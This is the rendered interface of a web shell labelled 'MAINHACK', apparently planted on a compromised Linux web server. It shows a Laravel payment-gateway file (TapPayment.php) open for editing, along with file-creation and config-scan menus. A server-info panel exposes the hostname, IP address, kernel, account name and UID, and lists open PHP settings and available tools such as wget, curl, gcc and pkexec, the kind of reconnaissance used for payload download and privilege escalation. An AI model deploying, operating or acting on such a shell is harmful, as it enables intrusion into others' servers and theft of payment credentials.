[
MAINHACK
]
Mail Test
BC
Config Scan
HOME
Create...
New File
New Folder
Viewing / Editing File: TapPayment.php
<?php namespace App\Library; use GuzzleHttp\Client; use Illuminate\Http\Request; use Illuminate\Support\Facades\Session; class TapPayment { public static function redirect_if_payment_success() { if (Session::has('fund_callback')) { return url(Session::get('fund_callback')['success_url']); } else { return url('payment/success'); } } public static function redirect_if_payment_faild() { if (Session::has('fund_callback')) { return url(Session::get('fund_callback')['cancel_url']); } else { return url('payment/failed'); } } public static function make_payment($array) { $data = [ 'amount' => $array['pay_amount'], 'currency' => $array['currency'] ?? 'SAR', 'threeDSecure' => true, 'save_card' => false, 'description' => $array['billName'], 'customer' => [ 'first_name' => $array['name'], 'email' => $array['email'], ], 'source' => [ 'id' => 'src_all', ], 'redirect' => [ 'url' => route('tap-payment.status'), ], ]; try { $client = new Client(['base_uri' => 'https://api.tap.company/v2/']); $response = $client->post('charges', [ 'headers' => [ 'Authorization' => 'Bearer ' . $array['secret_key'], 'Content-Type' => 'application/json', ], 'json' => $data, ]); session()->put('secret_key', $array['secret_key']); $responseBody = json_decode($response->getBody(), true); // Redirect the user to Tap's payment page return redirect($responseBody['transaction']['url']); } catch (\Exception $e) { return response()->json(['error' => $e->getMessage()], 500); } } public function status(Request $request) { // Extract the parameters from the request $paymentId = $request->query('tap_id'); // Tap Payment ID if (!$paymentId) { return response()->json(['error' => 'Invalid callback response'], 400); } try { // Verify the payment status using the Tap API $client = new \GuzzleHttp\Client(); $response = $client->get('https://api.tap.company/v2/' . 'charges/' . $paymentId, [ 'headers' => [ 'Authorization' => 'Bearer ' . session('secret_key'), ], ]); $paymentDetails = json_decode($response->getBody(), true); session()->forget('secret_key'); // Check the status if ($paymentDetails['status'] === 'CAPTURED') { return redirect(TapPayment::redirect_if_payment_success()); } else { session()->put('payment_msg', $paymentDetails['response']['message']); return redirect(TapPayment::redirect_if_payment_faild()); } } catch (\Exception $e) { session()->put('payment_msg', $e->getMessage()); return redirect(TapPayment::redirect_if_payment_faild()); } } }
Save Changes
Cancel / Back
Close ×
Server Info
Hostname: server1.winmanyltd.com
Server IP: 203.161.60.52
PHP Version: 8.3.27
Server Software: Apache
System: Linux server1.winmanyltd.com 4.18.0-553.22.1.el8_10.x86_64 #1 SMP Tue Sep 24 05:16:59 EDT 2024 x86_64
HDD Total: 117.98 GB
HDD Free: 59.89 GB
Domains on IP: N/A (Requires external lookup)
System Features
Safe Mode:
Off
disable_functions:
None
allow_url_fopen:
On
allow_url_include:
Off
magic_quotes_gpc:
Off
register_globals:
Off
open_basedir:
None
cURL:
Enabled
ZipArchive:
Enabled
MySQLi:
Enabled
PDO:
Enabled
wget:
Yes
curl (cmd):
Yes
perl:
Yes
python:
Yes (py3)
gcc:
Yes
pkexec:
Yes
git:
Yes
User Info
Username: eliosofonline
User ID (UID): 1002
Group ID (GID): 1003
Script Owner UID: 1002
Current Dir Owner: 1002